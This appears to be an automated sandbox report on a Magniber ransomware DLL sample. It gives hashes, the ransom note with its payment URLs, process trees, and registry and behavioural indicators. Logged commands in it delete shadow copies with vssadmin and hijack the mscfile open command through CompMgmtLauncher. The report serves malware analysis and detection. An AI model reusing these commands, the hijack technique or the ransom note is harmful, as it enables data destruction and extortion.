magniber | 66c4f54da6542339de036872e80306f345b8572a71e782434245455e03541465

Analysis

max time kernel
106s
max time network
109s
platform
windows7_x64
resource
win7v20210410
submitted
23-08-2021 16:11

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General

Target

e84e3a6b5db3f402f912a7afb328cb61.dll
Size

21KB
MD5

e84e3a6b5db3f402f912a7afb328cb61
SHA1

f57f4f7d2358c5b00a9a39fcdbb0d668e503dedc
SHA256

66c4f54da6542339de036872e80306f345b8572a71e782434245455e03541465
SHA512

1c60484518b489beb748641ee3983c698ed6253c63abc7818cf76e7fd76944977f1b83c7a762bd16f40945adf646b80de4058f59d775b708b276f754bbf63c91

Score

10^/10

magniber ransomware

Malware Config

Extracted

Path

C:\Users\Admin\Desktop\readme.txt

Family

magniber

Ransom Note

ALL YOUR DOCUMENTS PHOTOS DATABASES AND OTHER IMPORTANT FILES HAVE BEEN ENCRYPTED! ==================================================================================================== Your files are NOT damaged! Your files are modified only. This modification is reversible. The only 1 way to decrypt your files is to receive the private key and decryption program. Any attempts to restore your files with the third party software will be fatal for your files! ==================================================================================================== To receive the private key and decryption program follow the instructions below: 1. Download "Tor Browser" from https://www.torproject.org/ and install it. 2. In the "Tor Browser" open your personal page here: http://08e86230e214c040f2dstzaaeww.xurvsjipiyubcsta.onion/dstzaaeww Note! This page is available via "Tor Browser" only. ==================================================================================================== Also you can use temporary addresses on your personal page without using "Tor Browser": http://08e86230e214c040f2dstzaaeww.laygive.site/dstzaaeww http://08e86230e214c040f2dstzaaeww.loglook.club/dstzaaeww http://08e86230e214c040f2dstzaaeww.tankmy.space/dstzaaeww http://08e86230e214c040f2dstzaaeww.gorise.uno/dstzaaeww Note! These are temporary addresses! They will be available for a limited amount of time!

URLs

http://08e86230e214c040f2dstzaaeww.xurvsjipiyubcsta.onion/dstzaaeww

http://08e86230e214c040f2dstzaaeww.laygive.site/dstzaaeww

http://08e86230e214c040f2dstzaaeww.loglook.club/dstzaaeww

http://08e86230e214c040f2dstzaaeww.tankmy.space/dstzaaeww

http://08e86230e214c040f2dstzaaeww.gorise.uno/dstzaaeww

Signatures

Magniber Ransomware
Ransomware family widely seen in Asia being distributed by the Magnitude exploit kit.
ransomware magniber

Process spawned unexpected child process 7 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1980	800	cmd.exe	46
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	324	800	cmd.exe	46
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1316	800	cmd.exe	46
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1812	800	cmd.exe	46
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2628	800	vssadmin.exe	46
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2620	800	vssadmin.exe	46
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2612	800	vssadmin.exe	46

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Modifies extensions of user files 3 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

description	ioc	Process
File renamed	C:\Users\Admin\Pictures\RemoveStart.tiff => C:\Users\Admin\Pictures\RemoveStart.tiff.dstzaaeww	Dwm.exe
File renamed	C:\Users\Admin\Pictures\InitializeStep.tif => C:\Users\Admin\Pictures\InitializeStep.tif.dstzaaeww	Dwm.exe
File opened for modification	C:\Users\Admin\Pictures\RemoveStart.tiff	Dwm.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 1932 set thread context of 1132	1932	rundll32.exe	14
PID 1932 set thread context of 1240	1932	rundll32.exe	13
PID 1932 set thread context of 1288	1932	rundll32.exe	12

Interacts with shadow copies 2 TTPs 3 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1107

Inhibit System Recovery

T1490

pid	Process
2628	vssadmin.exe
2620	vssadmin.exe
2612	vssadmin.exe

Modifies Internet Explorer settings 1 TTPs 36 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000023d447883c8aea408ab255e92da8a2180000000002000000000010660000000100002000000090c36c2286917431e08d89802c1df109ad29bb6c5f4db7a47278d6b9aa5d3960000000000e8000000002000020000000016e5a1251e0b10c913fe93bd0234300e5988aaced8e629480ef0d26ec3a0de82000000053fe10f3157f1cd754ad69af01ee3cbc7253c0182d6767aa5887c07a4e88fb934000000094aa2fc053e6749d7db99655fc4848180e9c92c0df4c3fc6de9b7c3fc8d20fd34214a36303ea60dd59464b579fb778d41567264f42760be1e5c709fbf7a5ad53	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = c0ac63203998d701	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "336499853"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000023d447883c8aea408ab255e92da8a218000000000200000000001066000000010000200000005d084d56519ab31c81a8ce49e3514358645f61547895de1dc1ff1ed81ae330ab000000000e8000000002000020000000a7910757aa739db871e4878e09c78fbf715bb5a1750d82bb0f8624f77e914d5890000000fe4ed72dfe992d089e399a0ab9fbff789f82e03fafcf70129edc74fab1b29666fde75c2b4be13bd84c8cb49f37c2a5699da9a95a88206ec6b4eede3a3ddbfc20b18731c1121b3ff778a9a3ef4697784a6c25b92a0fe72fe4546d84a57bbe17b881ac389be81bdf0ee9c149a257c80d6f8ef2db9f91975bbbfd717474408366cd0996fdb453abb2b5da4657096e21a87840000000a3faad6482f3f3e10543f4d8cc596cb1305f0a9f9c403191b6079f9ef8ef305347ef91af5e8a9d1b77b45407dcf6ba805e67331201a00f698a2f86f46c25ca40	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{472BD2C1-042C-11EC-9BAB-4EEA6C3C430B} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames	iexplore.exe

Modifies registry class 11 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile	Dwm.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell	Dwm.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command	taskhost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	taskhost.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command	Dwm.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open	Dwm.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	Dwm.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	rundll32.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
1788	notepad.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1932	rundll32.exe
1932	rundll32.exe

Suspicious behavior: MapViewOfSection 3 IoCs

pid	Process
1932	rundll32.exe
1932	rundll32.exe
1932	rundll32.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	1288	Explorer.EXE
Token: SeShutdownPrivilege	1288	Explorer.EXE
Token: SeShutdownPrivilege	1288	Explorer.EXE
Token: SeShutdownPrivilege	1288	Explorer.EXE
Token: SeIncreaseQuotaPrivilege	432	WMIC.exe
Token: SeSecurityPrivilege	432	WMIC.exe
Token: SeTakeOwnershipPrivilege	432	WMIC.exe
Token: SeLoadDriverPrivilege	432	WMIC.exe
Token: SeSystemProfilePrivilege	432	WMIC.exe
Token: SeSystemtimePrivilege	432	WMIC.exe
Token: SeProfSingleProcessPrivilege	432	WMIC.exe
Token: SeIncBasePriorityPrivilege	432	WMIC.exe
Token: SeCreatePagefilePrivilege	432	WMIC.exe
Token: SeBackupPrivilege	432	WMIC.exe
Token: SeRestorePrivilege	432	WMIC.exe
Token: SeShutdownPrivilege	432	WMIC.exe
Token: SeDebugPrivilege	432	WMIC.exe
Token: SeSystemEnvironmentPrivilege	432	WMIC.exe
Token: SeRemoteShutdownPrivilege	432	WMIC.exe
Token: SeUndockPrivilege	432	WMIC.exe
Token: SeManageVolumePrivilege	432	WMIC.exe
Token: 33	432	WMIC.exe
Token: 34	432	WMIC.exe
Token: 35	432	WMIC.exe
Token: SeIncreaseQuotaPrivilege	748	WMIC.exe
Token: SeSecurityPrivilege	748	WMIC.exe
Token: SeTakeOwnershipPrivilege	748	WMIC.exe
Token: SeLoadDriverPrivilege	748	WMIC.exe
Token: SeSystemProfilePrivilege	748	WMIC.exe
Token: SeSystemtimePrivilege	748	WMIC.exe
Token: SeProfSingleProcessPrivilege	748	WMIC.exe
Token: SeIncBasePriorityPrivilege	748	WMIC.exe
Token: SeCreatePagefilePrivilege	748	WMIC.exe
Token: SeBackupPrivilege	748	WMIC.exe
Token: SeRestorePrivilege	748	WMIC.exe
Token: SeShutdownPrivilege	748	WMIC.exe
Token: SeDebugPrivilege	748	WMIC.exe
Token: SeSystemEnvironmentPrivilege	748	WMIC.exe
Token: SeRemoteShutdownPrivilege	748	WMIC.exe
Token: SeUndockPrivilege	748	WMIC.exe
Token: SeManageVolumePrivilege	748	WMIC.exe
Token: 33	748	WMIC.exe
Token: 34	748	WMIC.exe
Token: 35	748	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1656	WMIC.exe
Token: SeSecurityPrivilege	1656	WMIC.exe
Token: SeTakeOwnershipPrivilege	1656	WMIC.exe
Token: SeLoadDriverPrivilege	1656	WMIC.exe
Token: SeSystemProfilePrivilege	1656	WMIC.exe
Token: SeSystemtimePrivilege	1656	WMIC.exe
Token: SeProfSingleProcessPrivilege	1656	WMIC.exe
Token: SeIncBasePriorityPrivilege	1656	WMIC.exe
Token: SeCreatePagefilePrivilege	1656	WMIC.exe
Token: SeBackupPrivilege	1656	WMIC.exe
Token: SeRestorePrivilege	1656	WMIC.exe
Token: SeShutdownPrivilege	1656	WMIC.exe
Token: SeDebugPrivilege	1656	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1656	WMIC.exe
Token: SeRemoteShutdownPrivilege	1656	WMIC.exe
Token: SeUndockPrivilege	1656	WMIC.exe
Token: SeManageVolumePrivilege	1656	WMIC.exe
Token: 33	1656	WMIC.exe
Token: 34	1656	WMIC.exe
Token: 35	1656	WMIC.exe

Suspicious use of FindShellTrayWindow 6 IoCs

pid	Process
1288	Explorer.EXE
824	iexplore.exe
1288	Explorer.EXE
1288	Explorer.EXE
1288	Explorer.EXE
1288	Explorer.EXE

Suspicious use of SendNotifyMessage 8 IoCs

pid	Process
1288	Explorer.EXE
1288	Explorer.EXE
1288	Explorer.EXE
1288	Explorer.EXE
1288	Explorer.EXE
1288	Explorer.EXE
1288	Explorer.EXE
1288	Explorer.EXE

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
824	iexplore.exe
824	iexplore.exe
1600	IEXPLORE.EXE
1600	IEXPLORE.EXE
1600	IEXPLORE.EXE
1600	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 61 IoCs

description	pid	Process	procid_target
PID 1240 wrote to memory of 1788	1240	Dwm.exe	26
PID 1240 wrote to memory of 1788	1240	Dwm.exe	26
PID 1240 wrote to memory of 1788	1240	Dwm.exe	26
PID 1240 wrote to memory of 1756	1240	Dwm.exe	27
PID 1240 wrote to memory of 1756	1240	Dwm.exe	27
PID 1240 wrote to memory of 1756	1240	Dwm.exe	27
PID 1240 wrote to memory of 1784	1240	Dwm.exe	28
PID 1240 wrote to memory of 1784	1240	Dwm.exe	28
PID 1240 wrote to memory of 1784	1240	Dwm.exe	28
PID 1784 wrote to memory of 1656	1784	cmd.exe	30
PID 1784 wrote to memory of 1656	1784	cmd.exe	30
PID 1784 wrote to memory of 1656	1784	cmd.exe	30
PID 1132 wrote to memory of 292	1132	taskhost.exe	33
PID 1132 wrote to memory of 292	1132	taskhost.exe	33
PID 1132 wrote to memory of 292	1132	taskhost.exe	33
PID 1932 wrote to memory of 1684	1932	rundll32.exe	35
PID 1932 wrote to memory of 1684	1932	rundll32.exe	35
PID 1932 wrote to memory of 1684	1932	rundll32.exe	35
PID 292 wrote to memory of 748	292	cmd.exe	39
PID 292 wrote to memory of 748	292	cmd.exe	39
PID 292 wrote to memory of 748	292	cmd.exe	39
PID 1684 wrote to memory of 432	1684	cmd.exe	38
PID 1684 wrote to memory of 432	1684	cmd.exe	38
PID 1684 wrote to memory of 432	1684	cmd.exe	38
PID 1756 wrote to memory of 824	1756	cmd.exe	37
PID 1756 wrote to memory of 824	1756	cmd.exe	37
PID 1756 wrote to memory of 824	1756	cmd.exe	37
PID 1288 wrote to memory of 1172	1288	Explorer.EXE	40
PID 1288 wrote to memory of 1172	1288	Explorer.EXE	40
PID 1288 wrote to memory of 1172	1288	Explorer.EXE	40
PID 1172 wrote to memory of 1752	1172	cmd.exe	43
PID 1172 wrote to memory of 1752	1172	cmd.exe	43
PID 1172 wrote to memory of 1752	1172	cmd.exe	43
PID 824 wrote to memory of 1600	824	iexplore.exe	53
PID 824 wrote to memory of 1600	824	iexplore.exe	53
PID 824 wrote to memory of 1600	824	iexplore.exe	53
PID 824 wrote to memory of 1600	824	iexplore.exe	53
PID 324 wrote to memory of 2112	324	cmd.exe	57
PID 324 wrote to memory of 2112	324	cmd.exe	57
PID 324 wrote to memory of 2112	324	cmd.exe	57
PID 1812 wrote to memory of 2136	1812	cmd.exe	58
PID 1812 wrote to memory of 2136	1812	cmd.exe	58
PID 1812 wrote to memory of 2136	1812	cmd.exe	58
PID 1316 wrote to memory of 2176	1316	cmd.exe	59
PID 1316 wrote to memory of 2176	1316	cmd.exe	59
PID 1316 wrote to memory of 2176	1316	cmd.exe	59
PID 1980 wrote to memory of 2208	1980	cmd.exe	60
PID 1980 wrote to memory of 2208	1980	cmd.exe	60
PID 1980 wrote to memory of 2208	1980	cmd.exe	60
PID 2208 wrote to memory of 2312	2208	CompMgmtLauncher.exe	65
PID 2208 wrote to memory of 2312	2208	CompMgmtLauncher.exe	65
PID 2208 wrote to memory of 2312	2208	CompMgmtLauncher.exe	65
PID 2112 wrote to memory of 2332	2112	CompMgmtLauncher.exe	62
PID 2112 wrote to memory of 2332	2112	CompMgmtLauncher.exe	62
PID 2112 wrote to memory of 2332	2112	CompMgmtLauncher.exe	62
PID 2136 wrote to memory of 2324	2136	CompMgmtLauncher.exe	64
PID 2136 wrote to memory of 2324	2136	CompMgmtLauncher.exe	64
PID 2136 wrote to memory of 2324	2136	CompMgmtLauncher.exe	64
PID 2176 wrote to memory of 2348	2176	CompMgmtLauncher.exe	61
PID 2176 wrote to memory of 2348	2176	CompMgmtLauncher.exe	61
PID 2176 wrote to memory of 2348	2176	CompMgmtLauncher.exe	61

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1288
- C:\Windows\system32\rundll32.exe
  rundll32.exe C:\Users\Admin\AppData\Local\Temp\e84e3a6b5db3f402f912a7afb328cb61.dll,#1
  2⤵
  - Suspicious use of SetThreadContext
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  PID:1932
- - C:\Windows\system32\cmd.exe
    cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1684
  - - C:\Windows\system32\wbem\WMIC.exe
      C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:432
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1172
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    PID:1752

C:\Windows\system32\Dwm.exe
"C:\Windows\system32\Dwm.exe"
1⤵
- Modifies extensions of user files
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1240
- C:\Windows\system32\notepad.exe
  notepad.exe C:\Users\Public\readme.txt
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:1788
- C:\Windows\system32\cmd.exe
  cmd /c "start http://08e86230e214c040f2dstzaaeww.laygive.site/dstzaaeww^&1^&40439685^&61^&307^&12"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1756
- - C:\Program Files\Internet Explorer\iexplore.exe
    "C:\Program Files\Internet Explorer\iexplore.exe" http://08e86230e214c040f2dstzaaeww.laygive.site/dstzaaeww&1&40439685&61&307&12
    3⤵
    - Modifies Internet Explorer settings
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:824
  - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
      "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:824 CREDAT:275457 /prefetch:2
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of SetWindowsHookEx
      PID:1600
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1784
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1656

C:\Windows\system32\taskhost.exe
"taskhost.exe"
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1132
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:292
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:748

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1980
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2208
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2312

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:324
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2112
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2332

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1316
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2176
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2348

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1812
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2136
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2324

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2628

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2620

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2612

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:2740

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File Deletion

T1107

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

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Downloads

memory/1132-72-0x0000000000210000-0x0000000000214000-memory.dmp

Filesize
16KB

Download
memory/1288-60-0x0000000002D50000-0x0000000002D60000-memory.dmp

Filesize
64KB

Download
memory/1788-75-0x000007FEFB741000-0x000007FEFB743000-memory.dmp

Filesize
8KB

Download
memory/1932-63-0x0000000001C10000-0x0000000001C11000-memory.dmp

Filesize
4KB

Download
memory/1932-67-0x0000000001C50000-0x0000000001C51000-memory.dmp

Filesize
4KB

Download
memory/1932-68-0x0000000001D00000-0x0000000001D01000-memory.dmp

Filesize
4KB

Download
memory/1932-61-0x0000000000290000-0x0000000000291000-memory.dmp

Filesize
4KB

Download
memory/1932-70-0x0000000001D20000-0x0000000001D21000-memory.dmp

Filesize
4KB

Download
memory/1932-62-0x00000000002A0000-0x00000000002A1000-memory.dmp

Filesize
4KB

Download
memory/1932-71-0x0000000001D30000-0x0000000001D31000-memory.dmp

Filesize
4KB

Download
memory/1932-73-0x0000000001F90000-0x0000000001F91000-memory.dmp

Filesize
4KB

Download
memory/1932-66-0x0000000001C40000-0x0000000001C41000-memory.dmp

Filesize
4KB

Download
memory/1932-64-0x0000000001C20000-0x0000000001C21000-memory.dmp

Filesize
4KB

Download
memory/1932-101-0x0000000001FB0000-0x0000000001FB1000-memory.dmp

Filesize
4KB

Download
memory/1932-65-0x0000000001C30000-0x0000000001C31000-memory.dmp

Filesize
4KB

Download
memory/1932-69-0x0000000001D10000-0x0000000001D11000-memory.dmp

Filesize
4KB

Download